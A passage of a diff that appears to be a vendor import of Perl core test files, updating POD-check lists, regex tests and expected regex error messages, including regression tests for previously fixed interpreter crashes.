       # Sometimes the regexp will pick up too much for the category
       # e.g., WARN_UNINITIALIZED), PL_warn_uninit_sv ... up to the next )
       $category && $category =~ s/\).*//s;
+      # Special-case yywarn
+      /yywarn/ and $category = 'syntax';
       if (/win32_croak_not_implemented\(/) {
         $name .= " not implemented!"
       }
@@ -685,7 +687,6 @@
 Usage: VMS::Filespec::vmsify(spec)
 Usage: VMS::Filespec::vmspath(spec)
 Usage: VMS::Filespec::vmsrealpath(spec)
-Use of inherited AUTOLOAD for non-method %s::%s() is deprecated. This will be fatal in Perl 5.28
 utf8 "\x%X" does not map to Unicode
 Value of logical "%s" too long. Truncating to %i bytes
 waitpid: process %x is not a child of process %x

Modified: vendor/perl/dist/t/porting/extrefs.t
===================================================================
--- vendor/perl/dist/t/porting/extrefs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/extrefs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -70,13 +70,14 @@
 	    return 0;
 	}
 
-	my $COREincdir = File::Spec->catdir(File::Spec->updir);
+	my $COREincdir =
+	    File::Spec->catdir(File::Spec->updir, File::Spec->updir);
 
 	my $ccflags = $Config{'ccflags'} . ' ' . "-I$COREincdir"
 	 . ' -DPERL_NO_INLINE_FUNCTIONS';
 
 	if ($^O eq "MSWin32") {
-	    $ccflags .= " -I../win32 -I../win32/include";
+	    $ccflags .= " -I../../win32 -I../../win32/include";
 	}
 
 	my $libs = '';

Modified: vendor/perl/dist/t/porting/globvar.t
===================================================================
--- vendor/perl/dist/t/porting/globvar.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/globvar.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
     qw(
 	  DBcv bitcount cshname force_link_funcs generation lastgotoprobe
 	  mod_latin1_uc modcount no_symref_sv uudmap
-	  watchaddr watchok warn_uninit_sv
+	  watchaddr watchok warn_uninit_sv hash_chars
      );
 
 $skip{PL_hash_rand_bits}= $skip{PL_hash_rand_bits_enabled}= 1; # we can be compiled without these, so skip testing them

Modified: vendor/perl/dist/t/porting/known_pod_issues.dat
===================================================================
--- vendor/perl/dist/t/porting/known_pod_issues.dat	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/known_pod_issues.dat	2018-12-22 22:55:19 UTC (rev 12126)
@@ -147,6 +147,7 @@
 IPC::Run
 IPC::Shareable
 IPC::Signal
+ispunct(2)
 kill(3)
 langinfo(3)
 LaTeX::Encode
@@ -159,6 +160,7 @@
 List::Gather
 listen(2)
 local::lib
+localeconv(3)
 lockf(3)
 Log::Message
 Log::Message::Config
@@ -239,6 +241,7 @@
 ptar(1)
 ptargrep(1)
 pwd_mkdb(8)
+querylocale(3)
 RDF::Trine
 read(2)
 Readonly
@@ -276,6 +279,7 @@
 splain
 sprintf(3)
 stat(2)
+strftime(3)
 strictures
 String::Base
 String::Scanf
@@ -328,6 +332,10 @@
 YAML::Tiny
 dist/data-dumper/changes	Verbatim line length including indents exceeds 79 by	1
 dist/data-dumper/dumper.pm	? Should you be using L<...> instead of	1
+dist/devel-ppport/parts/inc/ppphdoc	Unknown directive: =dontwarn	1
+dist/devel-ppport/parts/inc/ppphdoc	Unknown directive: =implementation	1
+dist/devel-ppport/parts/inc/ppphdoc	Unknown directive: =provides	1
+dist/exporter/lib/exporter.pm	Verbatim line length including indents exceeds 79 by	2
 dist/net-ping/lib/net/ping.pm	Apparent broken link	1
 ext/amiga-exec/exec.pm	Verbatim line length including indents exceeds 79 by	1
 ext/dynaloader/dynaloader.pm	Verbatim line length including indents exceeds 79 by	1
@@ -348,6 +356,7 @@
 pod/perlgit.pod	Verbatim line length including indents exceeds 79 by	1
 pod/perlguts.pod	? Should you be using L<...> instead of	1
 pod/perlhack.pod	? Should you be using L<...> instead of	1
+pod/perlhack.pod	Verbatim line length including indents exceeds 79 by	2
 pod/perlhist.pod	Verbatim line length including indents exceeds 79 by	1
 pod/perlhpux.pod	Verbatim line length including indents exceeds 79 by	1
 pod/perlinterp.pod	? Should you be using L<...> instead of	1

Modified: vendor/perl/dist/t/porting/pending-author.t
===================================================================
--- vendor/perl/dist/t/porting/pending-author.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/pending-author.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,16 +31,12 @@
 find_git_or_skip('all');
 
 my $devnull = File::Spec->devnull;
-my $changes;
-foreach (`git status --porcelain 2>$devnull`) {
-    next if /^\?\?/;
-    ++$changes;
-    last;
-}
+my @lines = `git status --porcelain 2>$devnull`;
+skip_all("git status --porcelain doesn't seem to work here")
+    if $? != 0;
+skip_all("No pending changes")
+    if !grep !/^\?\?/, @lines;
 
-skip_all("No pending changes (or git status --porcelain doesn't work here)")
-    unless $changes;
-
 sub get {
     my $key = shift;
     my $value = `git config --get user.$key`;

Modified: vendor/perl/dist/t/porting/podcheck.t
===================================================================
--- vendor/perl/dist/t/porting/podcheck.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/podcheck.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,6 +29,10 @@
         print "1..0 # $^O cannot handle this test\n";
         exit(0);
     }
+    if ( $ENV{'PERL_BUILD_PACKAGING'} ) {
+        print "1..0 # This distro may have modified some files in cpan/. Skipping validation. \n";
+        exit 0;
+    }
     require '../regen/regen_lib.pl';
 }
 
@@ -93,6 +97,13 @@
 A pod can't be linked to unless it has a unique name.
 And a NAME should have a dash and short description after it.
 
+=item Occurrences of the Unicode replacement character
+
+L<Pod::Simple> replaces bytes that aren't valid according to the document's
+encoding (declared or auto-detected) with C<\N{REPLACEMENT CHARACTER}>.
+
+=back
+
 If the C<PERL_POD_PEDANTIC> environment variable is set or the C<--pedantic>
 command line argument is provided then a few more checks are made.
 The pedantic checks are:
@@ -155,8 +166,6 @@
 valid in the database
 actually are.  Thus any errors introduced there will remain there.
 
-=back
-
 =head2 Specially handled pods
 
 =over
@@ -361,6 +370,7 @@
 my $duplicate_name = "Pod NAME already used";
 my $no_name = "There is no NAME";
 my $missing_name_description = "The NAME should have a dash and short description after it";
+my $replacement_character = "Unicode replacement character found";
 # the pedantic warnings messages
 my $line_length = "Verbatim line length including indents exceeds $MAX_LINE_LENGTH by";
 my $C_not_linked = "? Should you be using L<...> instead of";
@@ -422,7 +432,7 @@
                            | $dl_ext  # dynamic libraries
                            | gif      # GIF images (example files from CGI.pm)
                            | eg       # examples from libnet
-                           | core
+                           | core .*
                        )
                        $
                     ) | ~$ | \ \(Autosaved\)\.txt$ # Other editor droppings
@@ -429,6 +439,7 @@
                            | ^cxx\$demangler_db\.$ # VMS name mangler database
                            | ^typemap\.?$          # typemap files
                            | ^(?i:Makefile\.PL)$
+                           | ^core (?: $ | \. .* )
                 /x;
 
 # Matches something that looks like a file name, but is enclosed in C<...>
@@ -853,6 +864,16 @@
             $running_CFL_text{$addr} .= $text;
         }
 
+        # do this line-by-line so we can get the right line number
+        my @lines = split /^/, $running_simple_text{$addr};
+        for my $i (0..$#lines) {
+            if ($lines[$i] =~ m/\N{REPLACEMENT CHARACTER}/) {
+                $self->poderror({ -line => $start_line{$addr} + $i,
+                    -msg => $replacement_character,
+                    parameter => "possibly invalid ". $self->encoding . " input at character " . pos $lines[$i],
+                });
+            }
+        }
         return $return;
     }
 

Modified: vendor/perl/dist/t/porting/regen.t
===================================================================
--- vendor/perl/dist/t/porting/regen.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/regen.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,7 +26,7 @@
   skip_all( "Not all files are available during cross-compilation" );
 }
 
-my $tests = 26; # I can't see a clean way to calculate this automatically.
+my $tests = 27; # I can't see a clean way to calculate this automatically.
 
 my %skip = ("regen_perly.pl"    => [qw(perly.act perly.h perly.tab)],
             "regen/keywords.pl" => [qw(keywords.c keywords.h)],
@@ -62,6 +62,7 @@
 foreach (qw(embed_lib.pl regen_lib.pl uconfig_h.pl
             regcharclass_multi_char_folds.pl
             charset_translations.pl
+            mph.pl
             ),
          map {chomp $_; $_} <$fh>) {
     ++$skip{"regen/$_"};

Modified: vendor/perl/dist/t/porting/test_bootstrap.t
===================================================================
--- vendor/perl/dist/t/porting/test_bootstrap.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/test_bootstrap.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,6 +18,7 @@
 
 # Some tests in t/comp need to use require or use to get their job done:
 my %exceptions = (
+    filter_exception => "require './test.pl'",
     hints => "require './test.pl'",
     parser => 'use DieDieDie',
     parser_run => "require './test.pl'",

Added: vendor/perl/dist/t/re/alpha_assertions.t
===================================================================
--- vendor/perl/dist/t/re/alpha_assertions.t	                        (rev 0)
+++ vendor/perl/dist/t/re/alpha_assertions.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,18 @@
+#!./perl
+
+use strict;
+use warnings;
+no warnings 'once';
+
+# This tests that the alphabetic assertions, like '(*atomic:...) work
+# It just sets a flag and calls regexp.t which will run through its test
+# suite, modifiying the tests to use the alphabetic synonyms.
+
+BEGIN { $::alpha_assertions = 1; }
+for my $file ('./re/regexp.t', './t/re/regexp.t', ':re:regexp.t') {
+    if (-r $file) {
+	do $file or die $@;
+	exit;
+    }
+}
+die "Cannot find ./re/regexp.t or ./t/re/regexp.t\n";

Modified: vendor/perl/dist/t/re/anyof.t
===================================================================
--- vendor/perl/dist/t/re/anyof.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/anyof.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,3 +1,5 @@
+#!./perl
+
 use utf8;
 
 # This tests that the ANYOF nodes generated by bracketed character classes are
@@ -10,9 +12,9 @@
 
 BEGIN {
     chdir 't' if -d 't';
-    @INC = ('../lib','.','../ext/re');
+    require './test.pl';
+    set_up_inc('../lib','.','../ext/re');
     require Config; import Config;
-    require './test.pl';
     skip_all('no re module') unless defined &DynaLoader::boot_DynaLoader;
 }
 
@@ -29,10 +31,10 @@
 # skipped and not skipped.
 
 my @tests = (
-    '[[{]' => 'ANYOF[[\{]',
+    '[[{]' => 'ANYOFM[\[\{]',
     '[^\S ]' => 'ANYOFD[\t\n\x0B\f\r{utf8}\x85\xA0][1680 2000-200A 2028-2029 202F 205F 3000]',
     '[^\n\r]' => 'ANYOF[^\n\r][0100-INFINITY]',
-    '[^\/\|,\$\%%\@\ \%"\<\>\:\#\&\*\{\}\[\]\(\)]' => 'ANYOF[^ "#$%&()*,/:<>@[\]\{|\}][0100-INFINITY]',
+    '[^\/\|,\$\%%\@\ \%"\<\>\:\#\&\*\{\}\[\]\(\)]' => 'ANYOF[^ "#$%&()*,/:<>@\[\]\{|\}][0100-INFINITY]',
     '[^[:^print:][:^ascii:]]' => 'ANYOF[\x20-\x7E]',
     '[ [:blank:]]' => 'ANYOFD[\t {utf8}\xA0][1680 2000-200A 202F 205F 3000]',
     '[_[:^blank:]]' => 'ANYOFD[^\t {utf8}\xA0][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',

Modified: vendor/perl/dist/t/re/pat.t
===================================================================
--- vendor/perl/dist/t/re/pat.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/pat.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,7 +23,7 @@
     skip_all('no re module') unless defined &DynaLoader::boot_DynaLoader;
     skip_all_without_unicode_tables();
 
-plan tests => 837;  # Update this when adding/deleting tests.
+plan tests => 848;  # Update this when adding/deleting tests.
 
 run_tests() unless caller;
 
@@ -32,6 +32,8 @@
 #
 sub run_tests {
 
+    my $sharp_s = uni_to_native("\xdf");
+
     {
         my $x = "abc\ndef\n";
 	(my $x_pretty = $x) =~ s/\n/\\n/g;
@@ -138,6 +140,21 @@
         $null = "";
         $xyz =~ /$null/;
         is($&, $xyz, $message);
+
+        # each entry: regexp, match string, $&, //o match success
+        my @tests =
+          (
+           [ "", "xy", "x", 1 ],
+           [ "y", "yz", "y", !1 ],
+          );
+        for my $test (@tests) {
+            my ($re, $str, $matched, $omatch) = @$test;
+            $xyz =~ /x/o;
+            ok($str =~ /$re/, "$str matches /$re/");
+            is($&, $matched, "on $matched");
+            $xyz =~ /x/o;
+            is($str =~ /$re/o, $omatch, "$str matches /$re/o (or not)");
+        }
     }
 
     {
@@ -372,7 +389,7 @@
         $_ = " a (bla()) and x(y b((l)u((e))) and b(l(e)e)e";
         my $expect = "(bla()) ((l)u((e))) (l(e)e)";
 
-        use vars '$c';
+        our $c;
         sub matchit {
           m/
              (
@@ -1394,9 +1411,6 @@
 
     {   # Various flags weren't being set when a [] is optimized into an
         # EXACTish node
-        ;
-        ;
-        my $sharp_s = uni_to_native("\xdf");
         ok("\x{017F}\x{017F}" =~ qr/^[$sharp_s]?$/i, "[] to EXACTish optimization");
     }
 
@@ -1630,7 +1644,8 @@
         like("X", qr/$x/, "UTF-8 of /[x]/i matches upper case");
     }
 
-    {   # make sure we get an error when \p{} cannot load Unicode tables
+SKIP: {   # make sure we get an error when \p{} cannot load Unicode tables
+        skip("Unicode tables always now loaded", 1);
         fresh_perl_like(<<'        prog that cannot load uni tables',
             BEGIN {
                 @INC = '../lib';
@@ -1814,11 +1829,6 @@
             ok($AE =~ $re, '/[\xE6\s]/i matches \xC6 when in UTF-8');
         }
 
-        {   # [perl #126606 crashed the interpreter
-            no warnings 'deprecated';
-            like("sS", qr/\N{}Ss|/i, "\N{} with empty branch alternation works");
-        }
-
         {
             is(0+("\n" =~ m'\n'), 1, q|m'\n' should interpolate escapes|);
         }
@@ -1911,6 +1921,33 @@
         # [perl #129281] buffer write overflow, detected by ASAN, valgrind
         fresh_perl_is('/0(?0)|^*0(?0)|^*(^*())0|/', '', {}, "don't bump whilem_c too much");
     }
+    {
+        # RT #131893 - fails with ASAN -fsanitize=undefined
+        fresh_perl_is('qr/0(0?(0||00*))|/', '', {}, "integer overflow during compilation");
+    }
+
+    {
+        # RT #131575 intuit skipping back from the end to find the highest
+        # possible start point, was potentially hopping back beyond pos()
+        # and crashing by calling fbm_instr with a negative length
+
+        my $text = "=t=\x{5000}";
+        pos($text) = 3;
+        ok(scalar($text !~ m{(~*=[a-z]=)}g), "RT #131575");
+    }
+    {
+        fresh_perl_is('"AA" =~ m/AA{1,0}/','',{},"handle OPFAIL insert properly");
+    }
+    {
+        fresh_perl_is('$_="0\x{1000000}";/^000?\0000/','',{},"dont throw assert errors trying to fbm past end of string");
+    }
+    {   # [perl $132227]
+        fresh_perl_is("('0ba' . ('ss' x 300)) =~ m/0B\\N{U+41}" . $sharp_s x 150 . '/i and print "1\n"',  1,{},"Use of sharp s under /di that changes to /ui");
+    }
+    {   # [perl $132164]
+        fresh_perl_is('m m0*0+\Rm', "",{},"Undefined behavior in address sanitizer");
+    }
+
 } # End of sub run_tests
 
 1;

Modified: vendor/perl/dist/t/re/pat_advanced.t
===================================================================
(Binary files differ)

Modified: vendor/perl/dist/t/re/pat_psycho.t
===================================================================
--- vendor/perl/dist/t/re/pat_psycho.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/pat_psycho.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,10 @@
     if ($^O eq 'dec_osf') {
         skip_all("$^O cannot handle this test");
     }
-    watchdog(5 * 60);
+    my $time_out_factor = $ENV{PERL_TEST_TIME_OUT_FACTOR} || 1;
+    $time_out_factor = 1 if $time_out_factor < 1;
+
+    watchdog(5 * 60 * $time_out_factor);
 }
 
 

Modified: vendor/perl/dist/t/re/pat_re_eval.t
===================================================================
--- vendor/perl/dist/t/re/pat_re_eval.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/pat_re_eval.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,8 +21,9 @@
     set_up_inc('../lib');
 }
 
+our @global;
 
-plan tests => 533;  # Update this when adding/deleting tests.
+plan tests => 502;  # Update this when adding/deleting tests.
 
 run_tests() unless caller;
 
@@ -745,19 +746,6 @@
 			use re 'eval';
 			ok($ss =~ /^$cc/, fmt("code         $u->[2]", $ss, $cc));
 		    }
-
-                    SKIP:
-		    {
-                        skip("Encode not working on EBCDIC", 1) unless defined $enc;
-			# Poor man's "use encoding 'ascii'".
-			# This causes a different code path in S_const_str()
-			# to be used
-			no warnings 'deprecated';
-			local ${^ENCODING} = $enc;
-			use warnings 'deprecated';
-			use re 'eval';
-			ok($ss =~ /^$cc/, fmt("encode       $u->[2]", $ss, $cc));
-		    }
 		}
 	    }
 	}
@@ -1079,7 +1067,6 @@
     {
 	use Tie::Array;
 
-	use vars '@global';
 	local @global;
 	my @array;
 	my @refs = (0, \@array, 2);
@@ -1291,7 +1278,30 @@
         is $max, 2, "RT #126697";
     }
 
+    # RT #132772
+    #
+    # Ensure that optimisation of OP_CONST into OP_MULTICONCAT doesn't
+    # leave any freed ops in the execution path. This is is associated
+    # with rpeep() being called before optimize_optree(), which causes
+    # gv/rv2sv to be prematurely optimised into gvsv, confusing
+    # S_maybe_multiconcat when it tries to reorganise a concat subtree
+    # into a multiconcat list
 
+    {
+        my $a = "a";
+        local $b = "b"; # not lexical, so optimised to OP_GVSV
+        local $_ = "abc";
+        ok /^a(??{ $b."c" })$/,  "RT #132772 - compile time";
+        ok /^$a(??{ $b."c" })$/, "RT #132772 - run time";
+        my $qr = qr/^a(??{ $b."c" })$/;
+        ok /$qr/,  "RT #132772 - compile time time qr//";
+        $qr = qr/(??{ $b."c" })$/;
+        ok /^a$qr$/,  "RT #132772 -  compile time time qr// compound";
+        $qr = qr/$a(??{ $b."c" })$/;
+        ok /^$qr$/,  "RT #132772 -  run time time qr//";
+    }
+
+
 } # End of sub run_tests
 
 1;

Modified: vendor/perl/dist/t/re/re_tests
===================================================================
--- vendor/perl/dist/t/re/re_tests	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/re_tests	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1443,7 +1443,6 @@
 /\N{U+41}\x{c1}/i	a\x{e1}	y	$&	a\x{e1}
 /[\N{U+41}\x{c1}]/i	\x{e1}	y	$&	\x{e1}
 '\N{U+41}'	A	y	$&	A		# Even for single quoted patterns
-/\N{}\xe4/i	\xc4	y	$&	\xc4		# Empty \N{} should change /d to /u
 
 [\s][\S]	\x{a0}\x{a0}	n	-	-	# Unicode complements should not match same character
 
@@ -1985,6 +1984,15 @@
 /(?x)[a b]/xx	\N{SPACE}	yS	$&	 	# Note a space char here
 /(?xx)[a b]/x	\N{SPACE}	n	-	-
 /(?-x:[a b])/xx	\N{SPACE}	yS	$&	 	# Note a space char here
+^a?bcd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff	ABCDEFGHIJKLMNOPQRSTUVWXYZ	n	-	-	# [perl #132187] for valgrind's benefit
+^Xaaa?Xaa	aaa\x{400000}	n	-	-	# [perl #132552] for valgrind's benefit
+([[:ascii:]]+)\x81	a\x80b\x81	y	$&	b\x81
+[[:^ascii:]]+b	\x80a\x81b	y	$&	\x81b
+[[:^ascii:]]+b	\x80a\x81\x{100}b	y	$&	\x81\x{100}b
+/\A\x80+\z/	\x80\x80\x80\x80\x80\x80\x80\x80\x80	y	$&	\x80\x80\x80\x80\x80\x80\x80\x80\x80		# [perl #132900]
+^(\d+)*?4X$	1234X	y	$1	123	# perl #131648
+(?il)\x{100}|\x{100}|\x{FE}	\xFE	y	$&	\xFE
 
+
 # Keep these lines at the end of the file
 # vim: softtabstop=0 noexpandtab

Modified: vendor/perl/dist/t/re/reg_mesg.t
===================================================================
--- vendor/perl/dist/t/re/reg_mesg.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/reg_mesg.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -57,6 +57,14 @@
     return wantarray ? @new_expect : join "", @new_expect;
 }
 
+sub add_markers {
+    my ($element)= @_;
+    $element =~ s/ at .* line \d+\.?\n$//;
+    $element =~ s/in regex; marked by <-- HERE in/{#}/;
+    $element =~ s/ <-- HERE /{#}/;
+    return $element;
+}
+
 ## Because we don't "use utf8" in this file, we need to do some extra legwork
 ## for the utf8 tests: Prepend 'use utf8' to the pattern, and mark the strings
 ## to check against as UTF-8, but for this all to work properly, the character
@@ -106,9 +114,14 @@
 my $colon_hex = sprintf "%02X", ord(":");
 my $tab_hex = sprintf "%02X", ord("\t");
 
-##
-## Key-value pairs of code/error of code that should have fatal errors.
-##
+# Key-value pairs of strings eval'd as patterns => warn/error messages that
+# they should generate.  In some cases, the value is an array of multiple
+# messages.  Some groups have the message(s) be default on; others, default
+# off.  This can be overridden on an individual key basis by preceding the
+# pattern string with either 'default_on' or 'default_off'
+#
+# The first set are those that should be fatal errors.
+
 my @death =
 (
  '/[[=foo=]]/' => 'POSIX syntax [= =] is reserved for future extensions {#} m/[[=foo=]{#}]/',
@@ -213,12 +226,8 @@
  '/\b{gc}/' => "'gc' is an unknown bound type {#} m/\\b{gc{#}}/",
  '/\B{gc}/' => "'gc' is an unknown bound type {#} m/\\B{gc{#}}/",
 
- '/(?[[[::]]])/' => "Syntax error in (?[...]) in regex m/(?[[[::]]])/",
- '/(?[[[:w:]]])/' => "Syntax error in (?[...]) in regex m/(?[[[:w:]]])/",
- '/(?[[:w:]])/' => "",
- '/[][[:alpha:]]' => "",    # [perl #127581]
- '/([.].*)[.]/'   => "",    # [perl #127582]
- '/[.].*[.]/'     => "",    # [perl #127604]
+ '/(?[[[::]]])/' => "Unexpected ']' with no following ')' in (?[... {#} m/(?[[[::]]{#}])/",
+ '/(?[[[:w:]]])/' => "Unexpected ']' with no following ')' in (?[... {#} m/(?[[[:w:]]{#}])/",
  '/(?[a])/' =>  'Unexpected character {#} m/(?[a{#}])/',
  '/(?[ + \t ])/' => 'Unexpected binary operator \'+\' with no preceding operand {#} m/(?[ +{#} \t ])/',
  '/(?[ \cK - ( + \t ) ])/' => 'Unexpected binary operator \'+\' with no preceding operand {#} m/(?[ \cK - ( +{#} \t ) ])/',
@@ -238,11 +247,12 @@
  '/(?[ \p{foo} ])/' => 'Can\'t find Unicode property definition "foo" {#} m/(?[ \p{foo}{#} ])/',
  '/(?[ \p{ foo = bar } ])/' => 'Can\'t find Unicode property definition "foo = bar" {#} m/(?[ \p{ foo = bar }{#} ])/',
  '/(?[ \8 ])/' => 'Unrecognized escape \8 in character class {#} m/(?[ \8{#} ])/',
- '/(?[ \t ]/' => 'Syntax error in (?[...]) in regex m/(?[ \t ]/',
- '/(?[ [ \t ]/' => 'Syntax error in (?[...]) in regex m/(?[ [ \t ]/',
- '/(?[ \t ] ]/' => 'Syntax error in (?[...]) in regex m/(?[ \t ] ]/',
- '/(?[ [ ] ]/' => 'Syntax error in (?[...]) in regex m/(?[ [ ] ]/',
- '/(?[ \t + \e # This was supposed to be a comment ])/' => 'Syntax error in (?[...]) in regex m/(?[ \t + \e # This was supposed to be a comment ])/',
+ '/(?[ \t ]/' => "Unexpected ']' with no following ')' in (?[... {#} m/(?[ \\t ]{#}/",
+ '/(?[ [ \t ]/' => "Syntax error in (?[...]) {#} m/(?[ [ \\t ]{#}/",
+ '/(?[ \t ] ]/' => "Unexpected ']' with no following ')' in (?[... {#} m/(?[ \\t ]{#} ]/",
+ '/(?[ [ ] ]/' => "Syntax error in (?[...]) {#} m/(?[ [ ] ]{#}/",
+ '/(?[ \t + \e # This was supposed to be a comment ])/' =>
+    "Syntax error in (?[...]) {#} m/(?[ \\t + \\e # This was supposed to be a comment ]){#}/",
  '/(?[ ])/' => 'Incomplete expression within \'(?[ ])\' {#} m/(?[ {#}])/',
  'm/(?[[a-\d]])/' => 'False [] range "a-\d" {#} m/(?[[a-\d{#}]])/',
  'm/(?[[\w-x]])/' => 'False [] range "\w-" {#} m/(?[[\w-{#}x]])/',
@@ -274,6 +284,17 @@
  'm/\cß/' => "Character following \"\\c\" must be printable ASCII",
  '/((?# This is a comment in the middle of a token)?:foo)/' => 'In \'(?...)\', the \'(\' and \'?\' must be adjacent {#} m/((?# This is a comment in the middle of a token)?{#}:foo)/',
  '/((?# This is a comment in the middle of a token)*FAIL)/' => 'In \'(*VERB...)\', the \'(\' and \'*\' must be adjacent {#} m/((?# This is a comment in the middle of a token)*{#}FAIL)/',
+ '/((?# This is a comment in the middle of a token)*script_run:foo)/' => 'In \'(*...)\', the \'(\' and \'*\' must be adjacent {#} m/((?# This is a comment in the middle of a token)*{#}script_run:foo)/',
+
+ '/(*script_runfoo)/' => 'Unknown \'(*...)\' construct \'script_runfoo\' {#} m/(*script_runfoo){#}/',
+ '/(*srfoo)/' => 'Unknown \'(*...)\' construct \'srfoo\' {#} m/(*srfoo){#}/',
+ '/(*script_run)/' => '\'(*script_run\' requires a terminating \':\' {#} m/(*script_run{#})/',
+ '/(*sr)/' => '\'(*sr\' requires a terminating \':\' {#} m/(*sr{#})/',
+ '/(*pla)/' => '\'(*pla\' requires a terminating \':\' {#} m/(*pla{#})/',
+ '/(*script_run/' => 'Unterminated \'(*...\' construct {#} m/(*script_run{#}/',
+ '/(*sr/' => 'Unterminated \'(*...\' construct {#} m/(*sr{#}/',
+ '/(*script_run:foo/' => 'Unterminated \'(*...\' argument {#} m/(*script_run:foo{#}/',
+ '/(*sr:foo/' => 'Unterminated \'(*...\' argument {#} m/(*sr:foo{#}/',
  '/(?[\ &!])/' => 'Incomplete expression within \'(?[ ])\' {#} m/(?[\ &!{#}])/',    # [perl #126180]
  '/(?[\ +!])/' => 'Incomplete expression within \'(?[ ])\' {#} m/(?[\ +!{#}])/',    # [perl #126180]
  '/(?[\ -!])/' => 'Incomplete expression within \'(?[ ])\' {#} m/(?[\ -!{#}])/',    # [perl #126180]
@@ -284,20 +305,16 @@
  '/\w{/' => 'Unescaped left brace in regex is illegal here {#} m/\w{{#}/',
  '/\q{/' => 'Unescaped left brace in regex is illegal here {#} m/\q{{#}/',
  '/\A{/' => 'Unescaped left brace in regex is illegal here {#} m/\A{{#}/',
- '/:{4,a}/' => 'Unescaped left brace in regex is illegal here {#} m/:{{#}4,a}/',
- '/xa{3\,4}y/' => 'Unescaped left brace in regex is illegal here {#} m/xa{{#}3\,4}y/',
- '/abc/xix' => "",
- '/(?xmsixp:abc)/' => "",
- '/(?xmsixp)abc/' => "",
- '/(?xxxx:abc)/' => "",
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
+ '/\p{vertical 
 tab}/' => 'Can\'t find Unicode property definition "vertical 
 tab" {#} m/\\p{vertical 
 tab}{#}/', # [perl #132055]
 
 );
 
-# These are messages that are warnings when not strict; death under 'use re
-# "strict".  See comment before @warnings as to why some have a \x{100} in
-# them.  This array has 3 elements per construct.  [0] is the regex to use;
-# [1] is the message under no strict, and [2] is under strict.
+# These are messages that are death under 'use re "strict"', and may or may
+# not warn otherwise.  See comment before @warning as to why some have a
+# \x{100} in them.  This array has 3 elements per construct.  [0] is the regex
+# to use; [1] is the message under no strict (empty to not warn), and [2] is
+# under strict.
 my @death_only_under_strict = (
     'm/\xABC/' => "",
                => 'Use \x{...} for more than two hex characters {#} m/\xABC{#}/',
@@ -372,6 +389,14 @@
                                      => 'False [] range "[:digit:]-" {#} m/[[:digit:]-{#}[:alpha:]]\x{100}/',
     '/[a\zb]\x{100}/' => 'Unrecognized escape \z in character class passed through {#} m/[a\z{#}b]\x{100}/',
                       => 'Unrecognized escape \z in character class {#} m/[a\z{#}b]\x{100}/',
+    'default_on/:{4,a}/'     => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/:{{#}4,a}/',
+                             => 'Unescaped left brace in regex is illegal here {#} m/:{{#}4,a}/',
+    'default_on/xa{3\,4}y/'  => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/xa{{#}3\,4}y/',
+                             => 'Unescaped left brace in regex is illegal here {#} m/xa{{#}3\,4}y/',
+  'default_on/\\${[^\\}]*}/' => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/\\${{#}[^\\}]*}/',
+                             => 'Unescaped left brace in regex is illegal here {#} m/\\${{#}[^\\}]*}/',
+    '/[a
b]/'          => "",
+                        => 'Literal vertical space in [] is illegal except under /x {#} m/[a
{#}b]/',
 );
 
 # These need the character 'ネ' as a marker for mark_as_utf8()
@@ -422,17 +447,15 @@
  '/ネ[\x{ネ]/' => 'Missing right brace on \x{} {#} m/ネ[\x{{#}ネ]/',
 
  '/ネ\o{ネ/' => 'Missing right brace on \o{ {#} m/ネ\o{{#}ネ/',
- '/ネ[[:ネ:]]ネ/' => "",
 
  '/[ネ-a]ネ/' => 'Invalid [] range "ネ-a" {#} m/[ネ-a{#}]ネ/',
 
  '/ネ\p{}ネ/' => 'Empty \p{} {#} m/ネ\p{{#}}ネ/',
 
- '/ネ(?[[[:ネ]]])ネ/' => "Syntax error in (?[...]) in regex m/ネ(?[[[:ネ]]])ネ/",
- '/ネ(?[[[:ネ: ])ネ/' => "Syntax error in (?[...]) in regex m/ネ(?[[[:ネ: ])ネ/",
- '/ネ(?[[[::]]])ネ/' => "Syntax error in (?[...]) in regex m/ネ(?[[[::]]])ネ/",
- '/ネ(?[[[:ネ:]]])ネ/' => "Syntax error in (?[...]) in regex m/ネ(?[[[:ネ:]]])ネ/",
- '/ネ(?[[:ネ:]])ネ/' => "",
